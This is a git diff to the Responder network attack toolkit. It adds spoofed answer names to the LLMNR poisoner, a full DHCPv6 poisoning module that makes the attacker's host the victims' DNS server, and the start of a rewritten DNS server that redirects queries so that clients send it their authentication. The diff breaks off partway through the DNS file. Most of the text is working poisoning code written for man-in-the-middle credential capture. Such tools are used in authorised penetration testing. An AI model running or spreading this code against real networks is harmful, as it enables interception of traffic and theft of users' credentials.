Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
@@ -96,14 +105,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
elif LLMNRType == 'IPv6' and Have_IPv6:
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
|
||||
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
|
||||
Buffer1.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
if settings.Config.AnswerName is None:
|
||||
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
else:
|
||||
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR6',
|
||||
'SentToIp': self.client_address[0],
|
||||
|
||||
@@ -64,7 +64,9 @@ class MDNS(BaseRequestHandler):
|
||||
return None
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||
# Don't print if in Quiet Mode
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS',
|
||||
'SentToIp': self.client_address[0],
|
||||
|
||||
@@ -36,7 +36,9 @@ class NBTNS(BaseRequestHandler):
|
||||
|
||||
if data[2:4] == b'\x01\x10':
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||
# Don't print if in Quiet Mode
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'NBT-NS',
|
||||
'SentToIp': self.client_address[0],
|
||||
|
||||
30
pyproject.toml
Normal file
30
pyproject.toml
Normal file
@@ -0,0 +1,30 @@
|
||||
[build-system]
|
||||
requires = ["pdm-backend >= 2.4.0"]
|
||||
build-backend = "pdm.backend"
|
||||
|
||||
[project]
|
||||
name = "Responder-poisoner" # "responder" is already taken
|
||||
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
|
||||
readme = "README.md"
|
||||
license = "GPL-3.0-only"
|
||||
license-files = ["LICENSE"]
|
||||
dynamic = ["version"]
|
||||
dependencies = ["aioquic", "netifaces>=0.10.4"]
|
||||
classifiers = [
|
||||
"Operating System :: MacOS",
|
||||
"Operating System :: POSIX :: Linux",
|
||||
"Topic :: Security"
|
||||
]
|
||||
|
||||
[project.urls]
|
||||
Homepage = "https://github.com/lgandx/Responder"
|
||||
Issues = "https://github.com/lgandx/Responder/issues"
|
||||
|
||||
[project.scripts]
|
||||
responder = "Responder:main"
|
||||
|
||||
[tool.pdm.build]
|
||||
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
|
||||
|
||||
[tool.pdm.version]
|
||||
source = "scm"
|
||||
@@ -1 +1,2 @@
|
||||
aioquic
|
||||
netifaces>=0.10.4
|
||||
|
||||
471
servers/DHCPv6.py
Normal file
471
servers/DHCPv6.py
Normal file
@@ -0,0 +1,471 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# DHCPv6 poisoning module based on mitm6 concepts by Dirk-jan Mollema
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
import struct
|
||||
import socket
|
||||
import time
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# DHCPv6 Message Types
|
||||
DHCPV6_SOLICIT = 1
|
||||
DHCPV6_ADVERTISE = 2
|
||||
DHCPV6_REQUEST = 3
|
||||
DHCPV6_CONFIRM = 4
|
||||
DHCPV6_RENEW = 5
|
||||
DHCPV6_REBIND = 6
|
||||
DHCPV6_REPLY = 7
|
||||
DHCPV6_RELEASE = 8
|
||||
DHCPV6_DECLINE = 9
|
||||
DHCPV6_INFORMATION_REQUEST = 11
|
||||
|
||||
# DHCPv6 Option Codes
|
||||
OPTION_CLIENTID = 1
|
||||
OPTION_SERVERID = 2
|
||||
OPTION_IA_NA = 3
|
||||
OPTION_IA_TA = 4
|
||||
OPTION_IAADDR = 5
|
||||
OPTION_ORO = 6
|
||||
OPTION_PREFERENCE = 7
|
||||
OPTION_ELAPSED_TIME = 8
|
||||
OPTION_RELAY_MSG = 9
|
||||
OPTION_AUTH = 11
|
||||
OPTION_UNICAST = 12
|
||||
OPTION_STATUS_CODE = 13
|
||||
OPTION_RAPID_COMMIT = 14
|
||||
OPTION_USER_CLASS = 15
|
||||
OPTION_VENDOR_CLASS = 16
|
||||
OPTION_VENDOR_OPTS = 17
|
||||
OPTION_INTERFACE_ID = 18
|
||||
OPTION_RECONF_MSG = 19
|
||||
OPTION_RECONF_ACCEPT = 20
|
||||
OPTION_DNS_SERVERS = 23
|
||||
OPTION_DOMAIN_LIST = 24
|
||||
|
||||
class DHCPv6State:
|
||||
def __init__(self):
|
||||
self.leases = {}
|
||||
self.start_time = time.time()
|
||||
self.poisoned_count = 0
|
||||
|
||||
def add_lease(self, client_id, ipv6_addr, mac):
|
||||
self.leases[client_id] = {
|
||||
'ipv6': ipv6_addr,
|
||||
'mac': mac,
|
||||
'lease_time': time.time(),
|
||||
'lease_duration': 120
|
||||
}
|
||||
self.poisoned_count += 1
|
||||
|
||||
dhcpv6_state = DHCPv6State()
|
||||
|
||||
class DHCPv6(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, socket_obj = self.request
|
||||
|
||||
if len(data) < 4:
|
||||
return
|
||||
|
||||
msg_type = data[0]
|
||||
transaction_id = data[1:4]
|
||||
|
||||
if msg_type not in [DHCPV6_SOLICIT, DHCPV6_REQUEST, DHCPV6_CONFIRM, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_INFORMATION_REQUEST]:
|
||||
return
|
||||
|
||||
options = self.parse_dhcpv6_options(data[4:])
|
||||
|
||||
client_id = options.get(OPTION_CLIENTID)
|
||||
if not client_id:
|
||||
return
|
||||
|
||||
client_mac = self.extract_mac_from_clientid(client_id)
|
||||
|
||||
if not self.should_poison_client():
|
||||
return
|
||||
|
||||
msg_type_name = self.get_message_type_name(msg_type)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DHCPv6] %s from %s (MAC: %s)' % (
|
||||
msg_type_name,
|
||||
self.client_address[0],
|
||||
client_mac if client_mac else 'Unknown'
|
||||
)))
|
||||
|
||||
# Build response based on message type
|
||||
if msg_type == DHCPV6_SOLICIT:
|
||||
response = self.build_advertise(transaction_id, options)
|
||||
response_type = 'ADVERTISE'
|
||||
elif msg_type == DHCPV6_REQUEST:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY'
|
||||
elif msg_type == DHCPV6_RENEW:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY (Renew)'
|
||||
elif msg_type == DHCPV6_REBIND:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY (Rebind)'
|
||||
elif msg_type == DHCPV6_CONFIRM:
|
||||
response = self.build_confirm_reply(transaction_id, options)
|
||||
response_type = 'REPLY (Confirm)'
|
||||
elif msg_type == DHCPV6_INFORMATION_REQUEST:
|
||||
response = self.build_info_reply(transaction_id, options)
|
||||
response_type = 'REPLY (Info)'
|
||||
else:
|
||||
return
|
||||
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
analyze_mode = getattr(settings.Config, 'Analyze', False)
|
||||
|
||||
if analyze_mode:
|
||||
print(color('[Analyze] [DHCPv6] Would send %s to %s' % (response_type, self.client_address[0]), 3, 1))
|
||||
else:
|
||||
attacker_ip = self.get_attacker_ipv6()
|
||||
print(text('[DHCPv6] Sent %s to %s' % (response_type, self.client_address[0])))
|
||||
if msg_type in [DHCPV6_REQUEST, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_SOLICIT]:
|
||||
print(text('[DHCPv6] Poisoned DNS server: %s' % attacker_ip))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[!] [DHCPv6] Error: %s' % str(e), 1, 1))
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
def should_poison_client(self):
|
||||
return True
|
||||
|
||||
def parse_dhcpv6_options(self, options_data):
|
||||
options = {}
|
||||
offset = 0
|
||||
|
||||
while offset < len(options_data) - 4:
|
||||
option_code = struct.unpack('!H', options_data[offset:offset+2])[0]
|
||||
option_len = struct.unpack('!H', options_data[offset+2:offset+4])[0]
|
||||
option_data = options_data[offset+4:offset+4+option_len]
|
||||
|
||||
options[option_code] = option_data
|
||||
offset += 4 + option_len
|
||||
|
||||
return options
|
||||
|
||||
def extract_mac_from_clientid(self, client_id):
|
||||
try:
|
||||
if len(client_id) < 2:
|
||||
return None
|
||||
|
||||
duid_type = struct.unpack('!H', client_id[0:2])[0]
|
||||
|
||||
if duid_type == 1 and len(client_id) >= 14:
|
||||
mac = client_id[8:14]
|
||||
return ':'.join(['%02x' % b for b in bytearray(mac)])
|
||||
elif duid_type == 3 and len(client_id) >= 8:
|
||||
mac = client_id[4:10]
|
||||
return ':'.join(['%02x' % b for b in bytearray(mac)])
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
def get_attacker_ipv6(self):
|
||||
"""Get attacker's link-local IPv6 address derived from IPv4"""
|
||||
# mitm6 technique: use link-local address with decimal octets
|
||||
# Example: 10.207.212.254 -> fe80::a:cf:d4:fe (hex) or similar pattern
|
||||
# Actually based on your example, it seems to generate a different link-local
|
||||
# Let's use the actual Bind_To6 if available, otherwise construct one
|
||||
try:
|
||||
# Try to get actual link-local from interface
|
||||
import netifaces
|
||||
iface = settings.Config.Interface
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for addr_info in addrs[netifaces.AF_INET6]:
|
||||
addr = addr_info.get('addr', '').split('%')[0]
|
||||
# Return link-local address (fe80::)
|
||||
if addr.startswith('fe80::'):
|
||||
return addr
|
||||
except:
|
||||
pass
|
||||
|
||||
# Fallback: construct from IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
octets = ipv4.split('.')
|
||||
# Use hex conversion for DNS server address
|
||||
ipv6 = 'fe80::%x:%x:%x:%x' % (
|
||||
int(octets[0]), int(octets[1]),
|
||||
int(octets[2]), int(octets[3])
|
||||
)
|
||||
return ipv6
|
||||
except:
|
||||
return 'fe80::1'
|
||||
|
||||
def generate_client_ipv6(self):
|
||||
"""Generate client's link-local IPv6 address from attacker's IPv4"""
|
||||
# mitm6 technique: fe80::<octet1>:<octet2>:<octet3>:254
|
||||
# Example: 10.207.212.254 -> fe80::10:207:212:254
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
octets = ipv4.split('.')
|
||||
# Use decimal octets (base 10) separated by colons, last octet is always 254
|
||||
ipv6 = 'fe80::%s:%s:%s:254' % (octets[0], octets[1], octets[2])
|
||||
return ipv6
|
||||
except:
|
||||
return 'fe80::1:2:3:4'
|
||||
|
||||
def build_advertise(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_ADVERTISE]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
if OPTION_CLIENTID in options:
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID - DUID Type 3 (link-layer only, not link-layer + time)
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option - use link-local address
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# IA_NA if requested
|
||||
if OPTION_IA_NA in options:
|
||||
ia_na_option = self.build_ia_na_option(options[OPTION_IA_NA])
|
||||
msg += self.build_option(OPTION_IA_NA, ia_na_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_reply(self, transaction_id, options, client_id, client_mac):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID - DUID Type 3
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option - use link-local address
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# IA_NA if requested - reuse the address from request if present
|
||||
if OPTION_IA_NA in options:
|
||||
ia_na_option = self.build_ia_na_option_reply(options[OPTION_IA_NA])
|
||||
msg += self.build_option(OPTION_IA_NA, ia_na_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
# Track this lease
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
dhcpv6_state.add_lease(client_id, ipv6_addr, client_mac)
|
||||
|
||||
return msg
|
||||
|
||||
def build_info_reply(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
if OPTION_CLIENTID in options:
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_confirm_reply(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# Status Code: Success (0)
|
||||
status_code = struct.pack('!H', 0)
|
||||
msg += self.build_option(OPTION_STATUS_CODE, status_code)
|
||||
|
||||
# DNS servers option
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_option(self, code, data):
|
||||
return struct.pack('!HH', code, len(data)) + data
|
||||
|
||||
def get_server_duid(self):
|
||||
"""Get server DUID - Type 3 (link-layer only) like mitm6"""
|
||||
duid_type = 3 # DUID-LL (link-layer only)
|
||||
hw_type = 1 # Ethernet
|
||||
|
||||
# Get actual MAC address from interface
|
||||
try:
|
||||
import netifaces
|
||||
iface = settings.Config.Interface
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
if netifaces.AF_LINK in addrs:
|
||||
mac_str = addrs[netifaces.AF_LINK][0]['addr']
|
||||
# Convert MAC string to bytes
|
||||
mac = bytes([int(x, 16) for x in mac_str.split(':')])
|
||||
else:
|
||||
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
|
||||
except:
|
||||
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
|
||||
|
||||
# DUID Type 3 format: type (2) + hardware type (2) + link-layer address
|
||||
duid = struct.pack('!HH', duid_type, hw_type) + mac
|
||||
return duid
|
||||
|
||||
def build_ia_na_option(self, request_ia_na):
|
||||
"""Build IA_NA option with link-local address for ADVERTISE"""
|
||||
iaid = request_ia_na[0:4]
|
||||
|
||||
# Short lease times like mitm6
|
||||
t1 = 200
|
||||
t2 = 250
|
||||
|
||||
ia_na = iaid + struct.pack('!II', t1, t2)
|
||||
|
||||
# Add IAADDR sub-option with link-local address
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
|
||||
ia_na += iaaddr
|
||||
|
||||
return ia_na
|
||||
|
||||
def build_ia_na_option_reply(self, request_ia_na):
|
||||
"""Build IA_NA option for REPLY/RENEW/REBIND - reuse client's address if present"""
|
||||
iaid = request_ia_na[0:4]
|
||||
|
||||
# Short lease times like mitm6
|
||||
t1 = 200
|
||||
t2 = 250
|
||||
|
||||
ia_na = iaid + struct.pack('!II', t1, t2)
|
||||
|
||||
# Try to extract existing address from request
|
||||
ipv6_addr = None
|
||||
try:
|
||||
# Parse IA_NA options to find IAADDR
|
||||
offset = 12 # Skip IAID + T1 + T2
|
||||
while offset < len(request_ia_na) - 4:
|
||||
opt_code = struct.unpack('!H', request_ia_na[offset:offset+2])[0]
|
||||
opt_len = struct.unpack('!H', request_ia_na[offset+2:offset+4])[0]
|
||||
|
||||
if opt_code == OPTION_IAADDR and opt_len >= 16:
|
||||
# Extract IPv6 address (first 16 bytes of option data)
|
||||
import ipaddress
|
||||
addr_bytes = request_ia_na[offset+4:offset+20]
|
||||
ipv6_addr = str(ipaddress.IPv6Address(addr_bytes))
|
||||
break
|
||||
|
||||
offset += 4 + opt_len
|
||||
except:
|
||||
pass
|
||||
|
||||
# If no address found in request, generate new one
|
||||
if not ipv6_addr:
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
|
||||
# Add IAADDR sub-option
|
||||
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
|
||||
ia_na += iaaddr
|
||||
|
||||
return ia_na
|
||||
|
||||
def build_iaaddr_option(self, ipv6_addr, lease_time):
|
||||
"""Build IAADDR option"""
|
||||
import ipaddress
|
||||
addr_bytes = ipaddress.IPv6Address(ipv6_addr).packed
|
||||
|
||||
# Format: IPv6 address (16) + preferred-lifetime (4) + valid-lifetime (4)
|
||||
iaaddr_data = addr_bytes + struct.pack('!II', lease_time, lease_time)
|
||||
|
||||
# Wrap in option
|
||||
return struct.pack('!HH', OPTION_IAADDR, len(iaaddr_data)) + iaaddr_data
|
||||
|
||||
def build_dns_servers_option(self):
|
||||
"""Build DNS Servers option - use link-local address like mitm6"""
|
||||
import ipaddress
|
||||
attacker_ipv6 = self.get_attacker_ipv6()
|
||||
dns_bytes = ipaddress.IPv6Address(attacker_ipv6).packed
|
||||
return dns_bytes
|
||||
|
||||
def build_domain_list_option(self, domains):
|
||||
domain_data = b''
|
||||
for domain in domains:
|
||||
labels = domain.split('.')
|
||||
for label in labels:
|
||||
domain_data += bytes([len(label)]) + label.encode('ascii')
|
||||
domain_data += b'\x00'
|
||||
return domain_data
|
||||
|
||||
def get_message_type_name(self, msg_type):
|
||||
types = {
|
||||
DHCPV6_SOLICIT: 'SOLICIT',
|
||||
DHCPV6_ADVERTISE: 'ADVERTISE',
|
||||
DHCPV6_REQUEST: 'REQUEST',
|
||||
DHCPV6_CONFIRM: 'CONFIRM',
|
||||
DHCPV6_RENEW: 'RENEW',
|
||||
DHCPV6_REBIND: 'REBIND',
|
||||
DHCPV6_REPLY: 'REPLY',
|
||||
DHCPV6_RELEASE: 'RELEASE',
|
||||
DHCPV6_DECLINE: 'DECLINE',
|
||||
DHCPV6_INFORMATION_REQUEST: 'INFORMATION_REQUEST'
|
||||
}
|
||||
return types.get(msg_type, 'UNKNOWN(%d)' % msg_type)
|
||||
|
||||
def print_dhcpv6_stats():
|
||||
if dhcpv6_state.poisoned_count > 0:
|
||||
runtime = int(time.time() - dhcpv6_state.start_time)
|
||||
print(color('\n[DHCPv6] Statistics:', 2, 1))
|
||||
print(color(' Clients poisoned: %d' % dhcpv6_state.poisoned_count, 2, 1))
|
||||
print(color(' Active leases: %d' % len(dhcpv6_state.leases), 2, 1))
|
||||
print(color(' Runtime: %d seconds' % runtime, 2, 1))
|
||||
742
servers/DNS.py
Executable file → Normal file
742
servers/DNS.py
Executable file → Normal file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,121 +14,655 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# Features:
|
||||
# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries
|
||||
# - OPT record (EDNS0) support for modern DNS clients
|
||||
# - SOA records to appear as authoritative DNS server
|
||||
# - MX record poisoning for email client authentication capture
|
||||
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
|
||||
# - Logs interesting authentication-related domains
|
||||
# - Short TTL (60s) to ensure frequent re-queries
|
||||
# - IPv6 support for modern networks
|
||||
# - Domain filtering to target specific domains only
|
||||
#
|
||||
from utils import *
|
||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||
import struct
|
||||
import socket
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
#Should we answer to those AAAA?
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
OPT = data[len(data)-22:len(data)-20]
|
||||
if OPT == "\x00\x29":
|
||||
return "OPTIPv4"
|
||||
# If Type A, Class IN, then answer.
|
||||
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||
return "A"
|
||||
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||
return "IPv6"
|
||||
|
||||
|
||||
|
||||
class DNS(BaseRequestHandler):
|
||||
"""
|
||||
Enhanced DNS server for Responder
|
||||
Redirects DNS queries to attacker's IP to force authentication attempts
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
# Ditch it if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
data, socket_obj = self.request
|
||||
|
||||
if len(data) < 12:
|
||||
return
|
||||
|
||||
# Parse DNS header
|
||||
transaction_id = data[0:2]
|
||||
flags = struct.unpack('>H', data[2:4])[0]
|
||||
questions = struct.unpack('>H', data[4:6])[0]
|
||||
answer_rrs = struct.unpack('>H', data[6:8])[0]
|
||||
authority_rrs = struct.unpack('>H', data[8:10])[0]
|
||||
additional_rrs = struct.unpack('>H', data[10:12])[0]
|
||||
|
||||
# Check if it's a query (QR bit = 0)
|
||||
if flags & 0x8000:
|
||||
return # It's a response, ignore
|
||||
|
||||
# Parse question section
|
||||
query_name, query_type, query_class, offset = self.parse_question(data, 12)
|
||||
|
||||
if not query_name:
|
||||
return
|
||||
|
||||
# Check for OPT record in additional section
|
||||
opt_record = None
|
||||
if additional_rrs > 0:
|
||||
opt_record = self.parse_opt_record(data, offset)
|
||||
|
||||
# Log the query
|
||||
if settings.Config.Verbose:
|
||||
query_type_name = self.get_type_name(query_type)
|
||||
opt_info = ''
|
||||
if opt_record:
|
||||
opt_info = ' [EDNS0: UDP=%d, DO=%s]' % (
|
||||
opt_record['udp_size'],
|
||||
'Yes' if opt_record['dnssec_ok'] else 'No'
|
||||
)
|
||||
print(text('[DNS] Query from %s: %s (%s)%s' % (
|
||||
self.client_address[0].replace('::ffff:', ''),
|
||||
query_name,
|
||||
query_type_name,
|
||||
opt_info
|
||||
)))
|
||||
|
||||
# Check if we should respond to this query
|
||||
if not self.should_respond(query_name, query_type):
|
||||
return
|
||||
|
||||
# Build response
|
||||
response = self.build_response(
|
||||
transaction_id,
|
||||
query_name,
|
||||
query_type,
|
||||
query_class,
|
||||
data,
|
||||
opt_record
|
||||
)
|
||||
|
||||
if response:
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
